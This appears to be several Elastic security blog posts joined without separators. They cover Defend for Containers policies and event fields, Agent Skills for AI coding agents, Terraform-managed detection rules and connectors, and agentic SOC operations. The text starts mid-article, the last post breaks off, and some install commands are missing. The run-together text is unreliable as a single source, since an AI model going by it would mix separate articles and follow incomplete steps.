Once deployed, Elastic Agent will establish a connection to Fleet, enroll under the selected policy, and begin emitting Defend for Containers telemetry that Elastic Security can consume.

In the next section, we will take a look at the integration configuration options and explore which features are available to use.

Defend for Containers policies

At the heart of Defend for Containers' configuration is the policy. Policies determine what activity to observe and how to respond when matching events occur. Policies are composed of two fundamental building blocks:

• Selectors: define which events are of interest by specifying operations and conditions;
• Responses: define what actions to take when a selector’s conditions are met.

Defend for Containers policies can be edited before deployment or modified post-deployment via the Elastic Security UI’s policy editor.

Policy structure

Each policy must contain at least one selector and at least one response. A typical selector specifies one or more operations (such as process events or file activities) and uses conditions (like container image name, namespace, or pod label) to narrow the scope. Responses reference selectors and indicate what action to take when events match.

The default Defend for Containers policy includes two selector-response pairs: “Threat Detection” and “Drift Detection & Prevention”.

Threat detection: A selector named allProcesses matches all fork and exec events from containers.

And the associated response has the action set to Log, ensuring that events are ingested and can be analyzed.

Drift detection & prevention: A selector named executableChanges matches createExecutable and modifyExecutable operations.

And the response is configured to create alerts (and can be modified to block those operations).

These can be modified via the UI, but under the hood, these policies are simple YAML configuration files that can be easily modified and used in any CI|CD flows:

process:
  selectors:
    - name: allProcesses
      operation:
        - fork
        - exec
  responses:
    - match:
        - allProcesses
      actions:
        - log
file:
  selectors:
    - name: executableChanges
      operation:
        - createExecutable
        - modifyExecutable
  responses:
    - match:
        - executableChanges
      actions:
        - alert

Next, we will take a look at some example selectors and responses and discuss the options you have for setting up the integration to your liking.

Example selector snippet

Selectors allow fine-grained matching using conditions on fields such as:

• containerImageFullName: full image names like docker.io/nginx;
• containerImageName: partial image names;
• containerImageTag: specific tags like latest;
• kubernetesClusterId: Kubernetes cluster IDs;
• kubernetesClusterName: Kubernetes cluster names;
• kubernetesNamespace: namespaces where the workload runs;
• kubernetesPodName: pod names, with support for trailing wildcards;
• kubernetesPodLabel: label key/value pairs, with wildcard support.

selectors:
  - name: nodeExports
    file:
      operations:
        - createExecutable
        - modifyExecutable
      containerImageName:
        - "nginx"
      kubernetesNamespace:
        - "prod-*"

In this example, the selector named nodeExports matches file events that create or modify executables within containers whose image names contain “nginx” and whose Kubernetes namespace begins with “prod-”.

Example response snippet

Responses determine what happens when selector conditions are met. Common actions include:

• log: send the event as telemetry for analysis;
• alert: create an alert in Elastic Security;
• block: prevent the operation (for supported types).

responses:
  - name: alertAndBlockNodeExports
    matchSelectors:
      - nodeExports
    actions:
      - alert
      - block

Here, the response named alertAndBlockNodeExports references the previously defined nodeExports selector and will both generate an alert and block the operation.

Wildcards and matching

Selectors in Defend for Containers support trailing wildcards in string-based conditions (such as pod names or image tags). This allows broad matching without enumerating every possible value. For example, a pod selector of backend-* will match all pods whose names begin with backend-, while a label condition such as role:api* matches label values that start with api.

This wildcarding is essential in dynamic environments where workloads scale and shift rapidly.

In addition to simple string matching, Defend for Containers selectors also support path-based wildcard semantics when matching file paths. Consider the following selector example:

- name:
  targetFilePath:
    - /usr/bin/echo
    - /usr/sbin/*
    - /usr/local/**

In this example:

• /usr/bin/echo matches only the echo binary at that exact path.
• /usr/sbin/* matches everything that is a direct child of /usr/sbin.
• /usr/local/** matches everything recursively under /usr/local, including paths such as /usr/local/bin/something.

These distinctions make it possible to precisely scope file-based selectors, balancing coverage and noise. In practice, they allow detection engineers to target specific binaries, entire directories, or deep directory trees, depending on the use case, without resorting to overly permissive rules.

Tying it all together

Up to this point, we have looked at Defend for Containers selectors, wildcard semantics, event types, and how they surface attacker behavior at runtime. The final step is to understand how these pieces come together within a policy to express real detection logic.

Consider the following policy fragment:

file:
  selectors:
    - name: binDirExeMods
      operation:
        - createExecutable
        - modifyExecutable
      targetFilePath:
        - /usr/bin/**
    - name: etcFileChanges
      operation:
        - createFile
        - modifyFile
        - deleteFile
      targetFilePath:
        - /etc/**
    - name: nginx
      containerImageName:
        - nginx

  responses:
    - match:
        - binDirExeMods
        - etcFileChanges
      exclude:
        - nginx
      actions:
        - alert
        - block

This policy defines three selectors. Two selectors (binDirExeMods and etcFileChanges) describe file system activity of interest, while the third selector (nginx) describes a container context to exclude.

The response section ties these selectors together. The selectors listed under match are logically OR’d, meaning that either condition is sufficient to trigger the response. The selector listed under exclude acts as a logical NOT, removing matching events when the container image is nginx.

Read in plain language, the policy expresses the following logic:

If an executable is created or modified anywhere under /usr/bin, or a file is created, modified, or deleted under /etc, and the activity does not originate from an nginx container, then generate an alert and block the action.

In Boolean form, this can be expressed as:

IF (binDirExeMods OR etcFileChanges) AND NOT nginx
→ alert + block

This is where Defend for Containers policies become powerful. Rather than writing complex detection logic in a query language, selectors let you decompose behavior into small, reusable building blocks and then combine them declaratively. By mixing path-based selectors, operation types, container context, and exclusions, you can express nuanced detection logic that remains readable and maintainable.

In practice, this model allows detection engineers to translate threat hypotheses directly into policy logic: what behavior matters, where it occurs, in which workloads, and what should happen when it does.

Policy validation and refinement

Once a policy is deployed, it is critical to validate it against real workload behavior before enabling aggressive responses such as blocking. Policies that are too restrictive can disrupt normal container operations; policies that are too permissive may let unwanted activity go unnoticed.

A recommended workflow is:

1. Deploy the default policy in monitoring mode (e.g., with selectors logging events).
2. Observe the events that appear in Elasticsearch to understand normal workload patterns.
3. Incrementally tighten selectors and responses, moving from log only → alert → block, testing at each stage.
4. Use a staging or test cluster to validate blocking behaviors before applying them in production.

Defend for Containers Beta limitations

As of writing, Defend for Containers is available as a Beta integration, and its current capabilities and platform support reflect that status.

Defend for Containers formally supports Amazon EKS and Google GKE. While the integration can be deployed on Azure AKS, this configuration is not officially supported. In particular, AKS deployments currently lack file event telemetry, which limits detection coverage for file-based attack techniques in those environments.

The current Beta also does not capture network events. As a result, detections related to outbound connections, lateral network movement, or data exfiltration must rely on complementary data sources, such as the Network Packet Capture integration or Packetbeat integrations, rather than on Defend for Containers telemetry alone.

For file activity, Defend for Containers intentionally logs file open events only when opened with write intent. This design choice reduces noise and focuses on behavior that modifies the system state. However, it also means that read-only access to sensitive files, such as secret discovery, configuration scraping, or failed access attempts, is not currently observable.

This limitation impacts detection use cases such as:

• Searching and reading Kubernetes service account tokens,
• Scanning for .env files or credential material.

These are areas where future Defend for Containers iterations may provide more granular telemetry to support advanced detection engineering use cases.

Enabling the Defend for Containers pre-built detection rules

Defend for Containers ships with a set of pre-built detection rules that provide baseline coverage for common container attack techniques. Once the integration is enabled, these rules can be activated directly from Elastic Security without additional configuration.

Enabling the pre-built rules is recommended as a starting point, as they are designed to align with Defend for Containers' runtime telemetry and cover execution, file modification, persistence, and post-compromise behavior inside containers. From there, the rules can be extended or refined to match environment-specific workloads and threat models.

By filtering for “Data Source: Elastic Defend for Containers”, you can find all rules associated with this integration.

Note: if you do not see any rules pop up, make sure your stack is running version 9.3.0, as these rules are deployed only on 9.3.0+.

With all important Beta limitations mapped, the integration deployed, the pre-built detection rules installed and enabled, and a working policy in place, the next step is to explore the event semantics Defend for Containers produces, including fields commonly used in detection logic, performance considerations, and how these events differ from Elastic Defend events.

Analyzing Defend for Containers events

Now that Defend for Containers is deployed and policies are in place, the next step is understanding the events it generates. Similar to working with Elastic Defend or Auditd Manager, Defend for Containers telemetry becomes far more valuable once you develop a mental model of how events are structured and which fields are most relevant for detection engineering.

Defend for Containers produces multiple event types, most notably process events and file events, each enriched with container, host, and orchestration context. While the underlying signals remain rooted in Linux behavior, the additional Kubernetes and container metadata enable you to reason about activity in ways not possible with host-only telemetry.

The following sections walk through the most important field groups and event types, using real Defend for Containers events as reference points.

Common fields

Before diving into specific event categories, it is useful to understand the fields that consistently appear across Defend for Containers telemetry. These fields provide the contextual glue that ties individual runtime actions back to policies, selectors, and the underlying execution points inside the kernel.

While process and file events differ in their details, the fields described below are present across Defend for Containers data streams and are often the first place to look when validating detections or troubleshooting policy behavior.

Defend for Containers-specific context

Defend for Containers adds several fields specific to how events are collected and policies are applied.

The cloud_defend.hook_point field indicates where in the kernel the event was captured. In the example shown, values such as tracepoint__sched_process_fork and tracepoint__sched_process_exec reveal that the event was generated from kernel tracepoints associated with process creation and execution.

The cloud_defend.matched_selectors field shows which selectors in the active policy matched the event. In the example, the value allProcesses indicates that this event matched a broad selector that captures all process activity. When tuning policies or investigating alerts, this field is essential for understanding why an event was captured.

The cloud_defend.package_policy_id and cloud_defend.package_policy_revision fields tie the event back to a specific Elastic Agent policy and its revision. This makes it possible to correlate events with configuration changes over time and to verify which version of a policy was active when the event occurred.

Event metadata

Defend for Containers events follow the Elastic Common Schema conventions and include standard event metadata that describes the activity's type and lifecycle.

The event.category field identifies the high-level type of activity, such as process or file, and is typically the first field used when filtering Defend for Containers data. The event.action field describes what occurred, for example, fork or exec for process activity, or open, creation, modification, and deletion for file events.

The event.type field adds lifecycle context, such as start for process execution, and is often used together with event.action to distinguish different phases of activity. The event.dataset field indicates the originating Defend for Containers data stream, such as cloud_defend.process, which is useful when building dataset-scoped queries or detections.

Additional metadata fields like event.id, event.ingested, and event.kind are primarily used for correlation, ordering, and troubleshooting rather than detection logic.

Host information

Defend for Containers events include full host context, similar to Elastic Defend and Auditd Manager. This makes it possible to correlate container runtime activity back to the underlying Kubernetes node.

The host.name field identifies the node on which the container is running, while host.os.* provides operating system details such as distribution and kernel version. The host.architecture field indicates the CPU architecture, which can be relevant when analyzing binary execution or kernel-specific behavior.

One particularly useful field is host.pid_ns_ino, which identifies the PID namespace. This field allows container activity to be correlated with host-level process and kernel telemetry, and is especially valuable when investigating container escape attempts or node-level impact.

This host context is critical when analyzing cloud-native attacks, as multiple containers often share the same host and kernel, and a container's runtime behavior can have implications beyond its boundaries.

Container and orchestrator context

Defend for Containers' primary strength lies in its container awareness. Every runtime event is enriched with container and orchestration metadata, allowing activity to be analyzed in the context of what is running, where it is running, and with which privileges.

At the container level, fields such as container.id and container.name uniquely identify the running container, while container.image.name, container.image.tag, and the image hash provide visibility into the workload’s origin and version. This is especially useful for distinguishing between expected utility images and unexpected or ad hoc workloads.

A key field for risk assessment is container.security_context.privileged. This field explicitly indicates whether a container is running in privileged mode. When privileged execution is combined with other signals such as interactive shells or broad Linux capabilities, the risk profile of any detected activity increases significantly.

Defend for Containers also enriches events with orchestration context. Fields such as orchestrator.cluster.name, orchestrator.namespace, and orchestrator.resource.name (typically the Pod name) tie runtime behavior back to Kubernetes workloads. Labels exposed via orchestrator.resource.label further allow detections to incorporate workload intent and ownership.

For detection engineering, this context enables precise scoping of detections to:

• specific namespaces (for example, kube-system),
• privileged or high-risk containers,
• workloads with sensitive labels,
• or known utility images such as netshoot, kubectl, or curl.

This layer of enrichment allows container-aware detection logic to be expressed directly, without having to infer intent indirectly from filesystem paths, cgroups, or namespace identifiers.

Process events

Process execution is one of the most important signal types that Defend for Containers provides. Process events capture fork, exec, and end activities within containers and expose detailed lineage information critical to understanding how execution unfolds at runtime.

Several fields are particularly important for detection engineering. The combination of process.name and process.executable identifies what was executed and from where, while process.args provides insight into how it was invoked. Fields such as process.pid, process.start, process.end, and process.exit_code describe the process lifecycle and are useful for timing analysis and execution-flow reconstruction. The process.entity_id provides a stable identifier that allows processes to be tracked across multiple related events.

Defend for Containers also captures rich ancestry information. Fields under process.parent.* describe the immediate parent process, making it possible to detect suspicious parent–child relationships such as shells spawned by unexpected binaries. In addition, process.entry_leader.* and process.session_leader.* provide higher-level anchors within the process tree.

Much like Elastic Defend, Defend for Containers models processes as a graph rather than isolated events. The entry leader is especially useful in container environments, as it often represents the initial process launched by the container runtime (for example, containerd, runc, or a shell specified as the container entrypoint). Anchoring detections to the entry leader allows process trees to be interpreted consistently, even when containers spawn many short-lived child processes.

Session leader fields provide additional context about interactive execution and session boundaries, helping distinguish background services from interactive or attacker-driven activity.

Together, these fields make it possible to express detection logic that goes beyond single executions and instead reasons about execution chains, lineage, and intent, which is essential for detecting real-world container attack techniques.

Capabilities and privilege context

One of the more powerful aspects of the Defend for Containers process events is the inclusion of Linux capability information. For each process, Defend for Containers exposes both the effective and permitted capability sets via:

• process.thread.capabilities.effective
• process.thread.capabilities.permitted

These fields describe what a process is actually allowed to do at runtime, independent of its user ID or container boundary.

In privileged containers, processes often expose a broad set of effective capabilities, including highly sensitive ones such as CAP_SYS_ADMIN, CAP_SYS_MODULE, CAP_SYS_PTRACE, CAP_SYS_RAWIO, and CAP_BPF. The presence of these capabilities significantly changes the risk profile of any executed command, as they enable actions that can directly impact the host kernel or other workloads.

From a detection engineering perspective, this context is critical. It allows detections to move beyond simple process-name matching and instead reason about impact. The same binary execution can have vastly different implications depending on whether it runs with a minimal capability set or with near-host-level privileges.

In practice, capability data enables detection engineers to:

• Identify suspicious tooling executed inside overly permissive containers.
• Correlate runtime behavior with dangerous capability combinations.
• Prioritize alerts based on actual exploitation potential rather than surface-level activity.

This becomes especially relevant to container breakout research, where the presence or absence of specific capabilities often determines whether an exploit is viable.

Interactive execution

The process.interactive field indicates whether a process is associated with an interactive session. In container environments, interactive execution is relatively rare for production workloads and often correlates strongly with post-compromise or hands-on-keyboard activity.

Defend for Containers exposes interactivity not only at the process level, but also across related execution contexts, including process.parent.interactive, process.entry_leader.interactive, and process.session_leader.interactive. This makes it possible to determine whether an entire execution chain is interactive, rather than relying on a single process flag in isolation.

Common examples of interactive execution within containers include spawning a bash or sh shell, running interactive utilities such as curl, kubectl, or busybox, or operator-driven reconnaissance within a compromised Pod. While these actions may be legitimate during debugging, they are uncommon in steady-state production workloads.

When combined with container image, namespace, and privilege context, interactive execution becomes a strong anomaly signal. It allows detection logic to distinguish between expected automated container behavior and activity more consistent with manual intervention or attacker-driven exploration.

File events

Defend for Containers file events capture filesystem activity inside containers, and are emitted for a variety of operations. Unlike traditional file integrity monitoring, these events are runtime-aware and scoped to container workloads, providing context about how and why file changes occur.

Defend for Containers can detect file activity such as file opens with write intent, content modifications, file creations, renames, permission changes, and deletions. By focusing on write-oriented operations, Defend for Containers emphasizes behavior that alters system state rather than passive file access.

This allows detection engineers to reason about file usage patterns at runtime, not just the result of a change.

Several fields are particularly important when building file-based detections. The file.path and file.name fields identify the affected file and its location, while file.extension can help distinguish binaries, scripts, and configuration files. The event.action and event.type fields describe what operation occurred and how it should be interpreted in the event lifecycle.

Together, these fields allow Defend for Containers to distinguish benign file access from suspicious modification patterns, such as writing binaries or changing permissions within sensitive directories.

Bringing it together

As with any other data source, Defend for Containers telemetry becomes truly valuable once you understand how to combine fields across the process, file, container, and orchestration domains. Rather than relying on static indicators, Defend for Containers enables detection engineering based on runtime behavior, privilege context, and workload identity.

Conclusion

Defend for Containers in Elastic Stack 9.3.0 includes container runtime detection as a core component of Linux detection engineering. It features a clear scope, a policy-driven configuration model, and runtime telemetry designed specifically for containerized workloads.

In this post, we examined how to deploy Defend for Containers, how its policy model is structured, and how runtime events are generated and enriched with container and orchestration context. We explored the structure of process and file events, capability metadata, interactive execution signals, and container-specific fields that allow detections to be expressed in a workload-aware manner.

The key takeaway is that effective container detection requires reasoning about runtime behavior in context: processes, file modifications, privileges, and workload identity must be evaluated together. Defend for Containers provides the necessary telemetry to make that possible.

In the next article, we will build on this foundation by walking through a realistic container attack scenario and demonstrating how Defend for Containers telemetry surfaces each stage of compromise in practice.

Elastic Agent Skills are open source packages that give your AI coding agent native Elastic expertise. If you're already using Elastic Agent Builder, you get AI agents that work natively with your security data. Agent Skills are for the other side: bringing that same Elastic Security knowledge to the external AI tools your team already uses, like Cursor, Claude Code, or GitHub Copilot.

If you use an AI coding agent and want to evaluate Elastic Security, or you're a security team that wants to get up and running with Elastic Security fast without navigating setup docs, these are for you. Today we're shipping security skills that take you from zero to a fully populated Elastic Security environment, without leaving your integrated development environment (IDE).

Before you dive in, note that this is a v0.1.0 release. Also, review this documentation for steps to get started and important security considerations.

Step 1: Create a security project

You open your AI coding agent and prompt: Create a Security project on Elastic Cloud.

The create-project skill provisions an Elastic Cloud Serverless Security project via the Elastic Cloud API, handles credentials securely, and hands you back your Elasticsearch and Kibana URLs.

Elastic Cloud Serverless supports regions across Amazon Web Services (AWS), Google Cloud Platform (GCP), and Azure, so you can pick whichever fits your environment.

One prompt. Project ready.

Step 2: Generate sample data

An empty Elastic Security project isn't very convincing. No alerts, no timelines, no process trees. You need data, but you don't always want to enable real sources of data before you've had a chance to explore.

The generate-security-sample-data skill populates your project with realistic, Elastic Common Schema–compliant (ECS-compliant) security events and synthetic alerts across four attack scenarios:

• Windows ransomware chain: Word macro to PowerShell to ransomware deployment, complete with process trees that light up the Analyzer view.
• Credential access: LSASS memory dumps and credential harvesting.
• AWS cloud privilege escalation: IAM policy manipulation and unauthorized access key creation.
• Okta identity attack: Multifactor authentication (MFA) factor deactivation and suspicious authentication patterns.

These aren't random events. Every alert maps to MITRE ATT&CK techniques. Process trees have proper entity IDs so the Analyzer renders real parent-child relationships. Attack Discovery picks up the correlated threat narratives. You get the experience of a live environment without needing one.

When you're done exploring, ask your AI coding agent to remove the sample data. All sample events, alerts, and cases are cleaned up without affecting the rest of your environment.

Step 3: What's next after sample data

Once your environment is populated, the same AI coding agent can help you work with it. We're also shipping skills for alert triage (fetch and investigate alerts, classify threats, and acknowledge alerts), detection rule management (find noisy rules, add exceptions, and create new coverage), and case management (create and track security operations center [SOC] cases and link alerts to incidents).

Why skills, not just docs?

Elastic's API documentation is public. Your AI agent can already read it. So why do skills matter?

Skills matter because docs describe individual endpoints and encode workflows. There's a real gap between knowing that POST /api/detection_engine/signals/search exists and knowing that you need to fetch the oldest unacknowledged alert, query the process tree and related alerts within a five-minute window of the trigger time, check for an existing case before creating a new one, attach the alert with its rule UUID, and then acknowledge all related alerts on the same host, in that order, with the right field names, across three different APIs.

Skills also encode what not to do: Never display credentials in chat, confirm before creating billable resources, and handle Serverless-specific API quirks. This is the expert knowledge that turns a general-purpose AI agent into one that actually knows Elastic.

Get started

All skills are open source and work with any supported AI coding agent:

• Cursor
• Claude Code
• GitHub Copilot
• Windsurf
• Cline
• OpenCode
• Gemini CLI

Open a terminal in your project workspace and run:

Or install specific skills:

Check out the full catalog at github.com/elastic/agent-skills.

This brings your detection logic and ML jobs into the same versioned, peer-reviewed workflow as your core clusters. It ensures your security posture and AI connectors are no longer manual outliers in an otherwise automated environment.

The challenge: Security and observability configuration at scale

As Elastic deployments grow, so does the complexity of managing them. Security teams maintain hundreds of detection rules. SREs configure monitoring across dozens of clusters. ML engineers tune anomaly detection jobs across multiple environments. All of these configurations must be consistent, auditable, and reproducible.

Without infrastructure as code, teams face two problems:

1. Configuration drift. Rules, policies, and monitors are created manually through the Kibana UI. Over time, production and staging diverge. No one is sure which version of a detection rule is running where.

2. Buried audit trail. When a detection rule changes or an exception is added, there's no pull request to review, no commit history to trace, and no rollback path if something breaks. Users need to put in extra effort to access such history.

Elastic Stack Terraform provider solves this by bringing these configurations into the same version-controlled, peer-reviewed workflow that teams already use for infrastructure.

Security artifacts as code: Detection rules, exceptions, and prebuilt rules

You can now manage the full lifecycle of Elastic Security detection rules through Terraform.

Detection rules

The elasticstack_kibana_security_detection_rule resource lets you define, version, and deploy detection rules in the HashiCorp Configuration Language (HCL) format:

resource "elasticstack_kibana_security_detection_rule" "suspicious_admin_logon" {
  name        = "Suspicious Admin Logon Activity"
  type        = "query"
  query       = "event.action:logon AND user.name:admin"
  language    = "kuery"
  enabled     = true
  description = "Detects suspicious admin logon activities"
  severity    = "high"
  risk_score  = 75
  from        = "now-6m"
  to          = "now"
  interval    = "5m"
  tags        = ["security", "authentication", "admin"]
}

This means your detection rules live in Git, undergo code review, and are deployed consistently across environments. No more clicking through the Kibana UI to replicate rules from staging to production.

Detection rule resource docs

Exception lists and items

The security-as-code story extends to a full suite of exception management resources:

• elasticstack_kibana_security_exception_list - Create and manage exception lists
• elasticstack_kibana_security_exception_item - Define individual exception items within a list
• elasticstack_kibana_security_list and elasticstack_kibana_security_list_item - Manage value lists for IP allowlists, file hashes, and other indicators
• elasticstack_kibana_security_list_data_streams - Associate lists with specific data streams

Here's an example that ties them together - an exception list with items that suppress known false positives for a detection rule:

resource "elasticstack_kibana_security_exception_list" "vuln_scanner_exceptions" {
  list_id        = "vuln-scanner-exceptions"
  name           = "Vulnerability Scanner Exceptions"
  description    = "Suppress alerts from authorized vulnerability scanners"
  type           = "detection"
  namespace_type = "single"
  tags           = ["security", "vulnerability-scanning"]
}

resource "elasticstack_kibana_security_exception_item" "nessus_scanner" {
  list_id        = elasticstack_kibana_security_exception_list.vuln_scanner_exceptions.list_id
  item_id        = "nessus-scanner"
  name           = "Nessus Scanner - Authorized"
  description    = "Suppress alerts from authorized Nessus scanner hosts"
  type           = "simple"
  namespace_type = "single"

  entries = [
    {
      type     = "match"
      field    = "source.ip"
      operator = "included"
      value    = "10.0.50.10"
    },
    {
      type     = "match_any"
      field    = "process.name"
      operator = "included"
      values   = ["nessus", "nessusd"]
    }
  ]

  tags = ["nessus", "authorized-scanner"]
}

resource "elasticstack_kibana_security_exception_item" "qualys_scanner" {
  list_id        = elasticstack_kibana_security_exception_list.vuln_scanner_exceptions.list_id
  item_id        = "qualys-scanner"
  name           = "Qualys Scanner - Authorized"
  description    = "Suppress alerts from authorized Qualys scanner subnet"
  type           = "simple"
  namespace_type = "single"

  entries = [
    {
      type     = "match"
      field    = "source.ip"
      operator = "included"
      value    = "10.0.51.0/24"
    }
  ]

  tags = ["qualys", "authorized-scanner"]
}

The exception list and its items are linked by list_id, so Terraform manages the dependency graph automatically. Adding a new authorized scanner is a one-line PR - no clicking through the Kibana UI, no risk of forgetting which environment got the update.

Prebuilt security rules

The elasticstack_kibana_prebuilt_rule resource lets you manage Elastic's prebuilt detection rules via Terraform. This is particularly valuable for organizations that need to track which prebuilt rules are enabled, customize their parameters, and ensure consistent deployment across environments.

ML anomaly detection as code

Machine learning anomaly detection is one of Elasticsearch's most powerful capabilities - but managing ML jobs across environments has traditionally been a manual process. You create a job in the Kibana UI, tune the detectors, configure the datafeed, and hope someone documents the settings so they can be replicated in the next environment.

The elasticstack_elasticsearch_ml_anomaly_detection_job resource changes that. You can now define the full configuration of an anomaly detection job in HCL - detectors, bucket spans, influencers, data feeds, and analysis limits - and deploy it consistently across dev, staging, and production.

resource "elasticstack_elasticsearch_ml_anomaly_detection_job" "cpu_anomalies" {
  job_id      = "high-cpu-by-host"
  description = "Detect unusual CPU usage patterns"

  analysis_config = {
    bucket_span = "15m"
    detectors   = [{
      function   = "high_mean"
      field_name = "system.cpu.user_pct"
    }]
    influencers = ["host.name"]
  }

  data_description = {
    time_field = "@timestamp"
  }
}

This matters for teams that rely on ML to catch infrastructure anomalies, unusual user behavior, or security threats. Instead of manually recreating jobs when spinning up new clusters or recovering from failures, the entire ML configuration lives in version control - reviewable, repeatable, and recoverable.

Cross-cluster automation with API keys

For organizations running multiple Elasticsearch clusters, the provider now supports cluster API keys for cross-cluster search (CCS) and cross-cluster replication (CCR). You can create API keys specifically designed for secure cross-cluster communication, enabling end-to-end automation of multi-cluster architectures.

This means you can provision two clusters, configure CCS/CCR between them, and set up the necessary security credentials - all in a single Terraform configuration.

resource "elasticstack_elasticsearch_security_api_key" "ccs_key" {
  name = "cross-cluster-search-key"
  type = "cross_cluster"

  access = {
    search = [{
      names = ["logs-*", "metrics-*"]
    }]
    replication = [{
      names = ["archive-*"]
    }]
  }

  expiration = "90d"

  metadata = jsonencode({
    environment = "production"
    purpose     = "ccs-ccr-between-prod-clusters"
    team        = "platform"
  })
}

When the type is set to cross_cluster, the API key is scoped to CCS/CCR operations. You define which index patterns are accessible for search and replication, set an expiration policy, and tag the key with metadata - all reviewable in a pull request.

Learn more about API key resources in the documentation.

AI connectors as code

The provider now supports .bedrock and .gen-ai connectors, bringing AI infrastructure into your Terraform workflows. As teams increasingly integrate large language models into their Elastic workflows - for AI assistants, attack discovery, and automated investigations - managing these connector configurations as code becomes essential.

resource "elasticstack_kibana_action_connector" "bedrock" {
  name              = "aws-bedrock"
  connector_type_id = ".bedrock"
  config = jsonencode({
    apiUrl       = "https://bedrock-runtime.us-east-1.amazonaws.com"
    defaultModel = "anthropic.claude-v2"
  })
  secrets = jsonencode({
    accessKey = var.aws_access_key
    secret    = var.aws_secret_key
  })
}

resource "elasticstack_kibana_action_connector" "openai" {
  name              = "openai"
  connector_type_id = ".gen-ai"
  config = jsonencode({
    apiProvider  = "OpenAI"
    apiUrl       = "https://api.openai.com/v1/chat/completions"
    defaultModel = "gpt-4"
  })
  secrets = jsonencode({
    apiKey = var.openai_api_key
  })
}

With these connectors defined in Terraform, you can version your AI integration configuration alongside the rest of your Elastic infrastructure - and swap models or providers through a simple PR.

Observability enhancements

Synthetics monitors

The elasticstack_kibana_synthetics_monitor resource now includes a labels field, enabling better organization and filtering of synthetic checks. Labels let you tag monitors by team, environment, or service, making it easier to manage synthetic monitoring at scale.

Additional platform improvements

Recent releases also included several resources and attributes that round out the provider's coverage:

• elasticstack_elasticsearch_alias - Manage Elasticsearch aliases as a dedicated resource
• elasticstack_kibana_default_data_view - Set the default data view for a Kibana space
• solution attribute on elasticstack_kibana_space - Configure the solution type for Kibana spaces (available from 8.16)
• Fleet agent policy enhancements - host_name_format for configuring hostname vs. FQDN, and required_versions for version pinning

Getting started

If you're already using the Elastic Stack Terraform provider, upgrade to the latest provider version to get all of these capabilities:

terraform {
  required_providers {
    elasticstack = {
      source  = "elastic/elasticstack"
      version = "~> 0.14"
    }
  }
}

If you're new to managing your Elastic Stack with Terraform, start with the provider documentation on the Terraform registry.

To start using Elastic Cloud today, log in to the Elastic Cloud console or sign up for a free trial.
For the full set of changes, check out the release notes on GitHub.

The shift from AI-assisted tooling to agentic, AI-native security operations is no longer theoretical. It is entering production at scale, and 2026 represents the practical inflection point for enterprise SOCs. Agent frameworks are stabilizing, defenses against agent-specific attacks are maturing, and executive stakeholders increasingly demand AI-driven outcomes that are transparent, explainable, and auditable.

Nearly two-thirds of organizations are already experimenting with AI agents, yet fewer than one in four have deployed them into production. That gap signals a transition moment. As governance models, architecture standards, and risk controls mature through 2026, adoption is expected to accelerate rapidly. At the same time, the market for agentic capabilities is projected to grow sharply through 2030, underscoring that this is not a short-term trend but a structural transformation.

Taken together, these signals make 2026 the year to move from pilot to platform. The operational payoff is clear: faster triage, more precise investigations, and automated response that prioritizes attacks over alerts, explains decisions with evidence, and scales safely under real-world enterprise constraints.

The Rise of Agentic AI in Security Operations

Agentic AI refers to systems that can plan, act, and adapt without step-by-step human guidance. These systems use evolving context, often coordinate multiple agents to solve complex problems, and can perceive their environment, reason about what they observe, plan a sequence of actions, and execute them to achieve specific goals without human intervention, while leveraging the tools assigned to them.

In a Security Operations Center (SOC), the team responsible for monitoring, detecting, and responding to cyber threats, agentic AI enables agents to gather context, analyze signals, take controlled actions, and learn from each outcome across triage, investigation, and response.

What began as “copilots” helping SOC analysts write queries is now evolving into autonomous systems capable of reasoning, acting, and adapting across complex investigations.

An agentic AI SOC differs from a traditional “copilot-only” SOC in three key ways:

• Prioritization: Correlates multi-modal telemetry and adversary intent to identify complete attack chains rather than isolated alerts.

• Closed Loops: Moves beyond detection into containment, executing automated workflows and leveraging safe tool access to resolve threats at machine speed.

• Transparency: Provides traceable context and citations for every action, allowing SOC analysts to verify, trust, and override decisions. Without this, an agentic SOC would be a "black box," making it impossible for analysts to verify, trust, or safely override decisions.

By automating routine enrichment and research tasks, correlating alerts into meaningful attack chains, and executing safe response actions, agentic AI enables SOC analysts to focus on high-value investigations while maintaining full visibility and control.

Key Drivers Behind the Agentic AI Inflection Point

Three forces are driving the transition to agentic AI SOCs:

• Scaling and standardization pressure: Many SOCs have experimented with AI agents but lack mature production practices. Leaders are enforcing architecture standards, governance controls, and operational policies to move beyond pilots.
• Escalating threat landscape: Attackers are using stealthier, multi-stage techniques,often AI-enhanced or even AI-created, that blend into legitimate activity and move faster than manual workflows can handle. SOCs must adopt autonomous, goal-driven systems to continuously correlate signals and respond at scale without losing control.
• Maturing ecosystem: Agentic attacks and defenses are evolving in parallel, creating demand for new SOC tooling, multi-agent visibility, and operational guardrails for safe, scalable deployment.

These drivers make adopting an agentic AI SOC both operationally and economically compelling, enabling faster triage, more precise investigations, and automated response. Analysts can focus on validated, correlated attack activity instead of individual noisy alerts, while decisions remain evidence-based and transparent, allowing organizations to scale safely under real-world constraints.

Operationalizing an Agentic SOC: Challenges and Recommendations

Scaling autonomous AI agents across an enterprise SOC introduces operational, governance, and economic challenges. Below are key challenges and recommended approaches to address them:

The Elastic Blueprint: Essential Capabilities for an Agentic SOC

To move from manual intervention to an autonomous "agentic loop," an enterprise-ready SOC must deliver measurable improvements across the entire triage -> investigation -> response lifecycle.

The following table outlines the essential elements of an agentic SOC platform and how Elastic Security operationalizes them:

How Elastic’s Agentic AI Automates the LOLBins Hunt

It’s 9:15 AM. Your SOC dashboard shows zero "Critical" alerts, yet low-priority telemetry is flooding in. Among this noise, a stealthy process is running certutil.exe to download a base64-encoded payload from a suspicious domain. LOLBins, or Living off the Land Binaries, are legitimate system tools such as certutil.exe or powershell.exe that attackers weaponize. Because these tools are trusted and digitally signed, their malicious use often blends into normal activity and goes unnoticed.

In a traditional SOC, this activity would not trigger an immediate response. Instead, it would likely remain hidden until a separate catastrophic event - such as an appearance of a ransomware note - forced a manual hunt. An analyst would then have to painstakingly backtrack, sifting through proxy logs, running complex queries, and manually decoding strings to confirm that certutil.exe had been weaponized. By that time, the attacker has usually already achieved their objective.

In an Agentic SOC, the work is already done. The agent has detected, enriched, and confirmed the threat, created a case, and sent notifications, all before you’ve even had your coffee.

Let’s see how it’s done with Elastic.

Detection: Uncovering Hidden Threats

Elastic's Attack Discovery correlates multiple alerts to reveal a complete attack narrative. When certutil.exe executes in an unusual context, detection rules generate alerts, which Attack Discovery links with the originating phishing email and any related telemetry. The result is a unified story that shows not only the certutil.exe execution but also what the attacker attempted, how the payload was delivered, and the full sequence of malicious activity across the environment.

